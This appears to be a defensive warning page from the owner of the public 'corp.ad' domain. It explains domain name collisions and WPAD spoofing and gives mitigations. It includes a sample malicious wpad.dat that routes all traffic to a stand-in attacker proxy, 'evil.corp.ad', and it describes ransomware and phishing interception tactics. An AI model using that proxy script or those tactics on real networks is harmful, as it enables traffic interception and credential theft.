In a domain name collision environment, a domain name is used in both a private network and the public network that uses Domain Name System (DNS) of the Internet. This can lead to a situation where a malicious actor at public network intercept and manipulate HTTP as well as HTTPS requests that are intended for a private network resource.
Those are the typical HTTP(S) requests that can be observed on public network side (anonymized some real names):
Malicious actors can always intercept these object requests and spoof the responses to conduct catastrophic attacks. For instance, simply placing a ransomware executable at one of the ‘exe’ executable file paths can damage private networks, or creating a phishing logon page that records login attempts in plaintext can compromise user credentials. Additionally, intercepting further HTTP(S) communications is possible by exploiting the WPAD vulnerability, which is explained in detail in another article.
Reference : [JAS Advisors. (2017). Introducing: The ORDINAL Dataset. https://www.icann.org/en/system/files/files/presentation-ordinal-datasets-colliding-domains-13may17-en.pdf]
When a private (internal) network utilizes an existing public Internet domain name as a private domain name, a domain name collision occurs, potentially causing traffic to escape the private network.
There are two typical misconfigurations can expose private networks to security risks:
1. Allowing the use of public DNS servers within a private network
The first situation involves a device connected to the private network but configured to use public DNS servers for resolving private server IP addresses. For instance, a BYOD laptop might be set to use Google Public DNS (8.8.8.8) to ensure stable Internet connectivity at home.
The problem arises when the user attempts to access an internal server. The device queries the public DNS for the server’s name, leading to a connection attempt to the public server instead of the intended internal one.
To mitigate this vulnerability, the best option is to deploy a network firewall or traffic controller that blocks all outbound DNS queries. This prevents devices on the private network from querying public DNS records, ensuring they remain within the private network.
2. Configuring private DNS servers to query public DNS servers for private domain names
The second situation involves a misconfigured private DNS server that queries public DNS servers for unregistered hostnames. For example, if a user mistypes a URL, say ‘sata.corp.ad’ instead of ‘data.corp.ad’, the private DNS server first checks its internal zone file for ‘sata.corp.ad’. If not found, it queries the public DNS for the location of ‘sata.corp.ad’. The public DNS responds with the public IP address for ‘sata.corp.ad’, which the private DNS relays, leading the internal device to connect to the public ‘sata.corp.ad’.
To mitigate this vulnerability, configure a wildcard DNS record (such as *.corp.ad) pointing to a dummy internal IP address in the private DNS. This ensures that invalid subdomain names match this record, directing mistyped hostnames to the dummy IP address.
So what is the security risk in detail?
In the corp.ad case, the public corp.ad server will simply respond with a 404 not found error and redirect the device to a warning page. However, what if a private network uses an unclaimed or expired domain that a malicious actor can easily hijack and connect it to a dangerous public server?
In such a scenario, the malicious actor could do numerous things with that server. They could redirect any Not Found URLs to a phishing page that mimics a workspace solution login form, or they could create a fake browser update page that tricks users into installing a RAT (remote access trojan). Such actions could lead to a severe security incident.
The WPAD Name Collision Vulnerability, often referred to WPAD spoofing or simply as the WPAD vulnerability, is a security flaw of Web Proxy Auto-Discovery (WPAD) protocol. WPAD is a protocol that enables web browsers to automatically discover and configure proxy settings, when the device is connected to any network. Due to the lack of validation for the safety of proxy configuration files provided by the connected network, this protocol allows attackers to carry out a ‘WPAD attack’, maliciously intercepting and redirecting the victim’s web traffic by delivering a malformed proxy configuration.
□ How does it work
In a private corporate network, the WPAD protocol is commonly used to automatically direct devices to connect to an internal proxy server. This proxy server acts as an intermediary, forwarding client devices’ requests to more internally protected destination servers and then relaying the responses back to the respective client devices.
However, a security concern arises when devices typically used within the corporate network connect to an external, untrusted network. This is because these devices continue to operate under the assumption that they are still within the corporate network and will attempt to utilize the same WPAD protocol to automatically locate a proxy server. If a malicious actor has deployed a fake WPAD server with a same domain name and a fake proxy server, the device may inadvertently connect to these fraudulent servers.
Once a device is connected to the fake proxy server, the malicious actor can exploit this connection to launch various attacks. When the device sends requests to the fake proxy server, the malicious actor can manipulate the responses, potentially embedding harmful content such as ransomware within the response files.
Moreover, the malicious actor can eavesdrop on the device’s requests, gaining access to sensitive information such as login credentials, credit card numbers, and passwords.
So, how can one avoid falling victim to this type of attack?
□ Always prevent that your browser automatically connected to attacker’s proxy server:
1) If you are using old Windows and Internet Explorer:
Open the “Internet Options” dialog, click “Connections” tab then click “LAN Settings”, and uncheck “Automatically detect settings”.
2) If you are using Windows 10:
Open the Start menu and click on Settings, Select Network & Internet, Click on Proxy in the left-hand pane, toogle the Automatic proxy setup Off, then Save.
3) If you are using Windows 11:
Open the Start menu and click on Settings, Select Network & Internet, Click on Proxy in the left-hand pane, Toggle the Automatically detect settings option to Off.
□ Always be cautious about security warnings from your browser:
Since the WPAD vulnerability is a decades-old issue, so modern browsers always warn users when someone else tries to break into their securely protected communications.
More specifically, if you encounter a certificate error page that warns about privacy, like the one shown below, never click the “Advanced” button to forcefully visit the site.
□ If you want to know about technical details :
When a device configured to connect ‘Corp.AD’ network in default (e.g. A Windows PC joined in Active Directory), the device will looking for ‘wpad.dat’ file from a host with the domain name, using http protocol:
GET http://corp.ad/wpad.dat
Inside the wpad.dat file, there is a javascript function that describes which destinations should used as the proxy server. Below is the example of a wpad.dat file that redirect only corp.ad traffics to proxy.corp.ad server:
function FindProxyForURL(url, host)
{
if (shExpMatch(url,"*.corp.ad/*")) {
return "PROXY proxy.corp.ad:8080";
}
return "DIRECT";
}
If an attacker wants all victim’s web traffic redirected to his site and spy on the victim’s Internet traffic, will use this kind of wpad.dat :
function FindProxyForURL(url, host)
{
return "PROXY evil.corp.ad:8080";
}
WPAD attacks can be executed in Man-in-the-Middle (MITM) scenarios, as illustrated in the previous examples. This implies that whenever a WPAD-vulnerable device connects to an untrusted network, there exists a potential risk for exploitation.
WPAD attacks can be executed in Man-in-the-Middle (MITM) scenarios, as illustrated in the previous examples. This implies that whenever a WPAD-vulnerable device connects to an untrusted network, there exists a potential risk for exploitation.
Additionally, WPAD attacks can occur when a malicious actor controls a legitimate public domain name that the same name is used within a private network. When a device transitions from the private network to the public network (Internet), it may connect to the attacker’s server that using the public domain name. This means a private network that use a ‘Not legitimately owned’ domain name is also possibly vulnerable to WPAD attacks.
□ The Public Corp.AD Server
The purpose of this site is to warn about potential network domain name collisions and the associated vulnerabilities. To promote a safer Internet for everyone who use the ‘corp.ad’ as a private network domain name, this public corp.ad server does not response to any /wpad.dat request.
It is explicitly denied on httpd conf.d with following configuration:
$cat /etc/httpd/conf.d/nowpad.conf
<Location /wpad.dat>
Deny from All
</Location>
Since “corp.ad” is a domain that can be generally expected to be used as a private domain name, if you are visiting this site due to name collision, please always be cautious of your traffic being redirected in a public, untrusted network such as free Wi-Fi at a cafe, airport, and so on.
Please find more information about this vulnerability at :
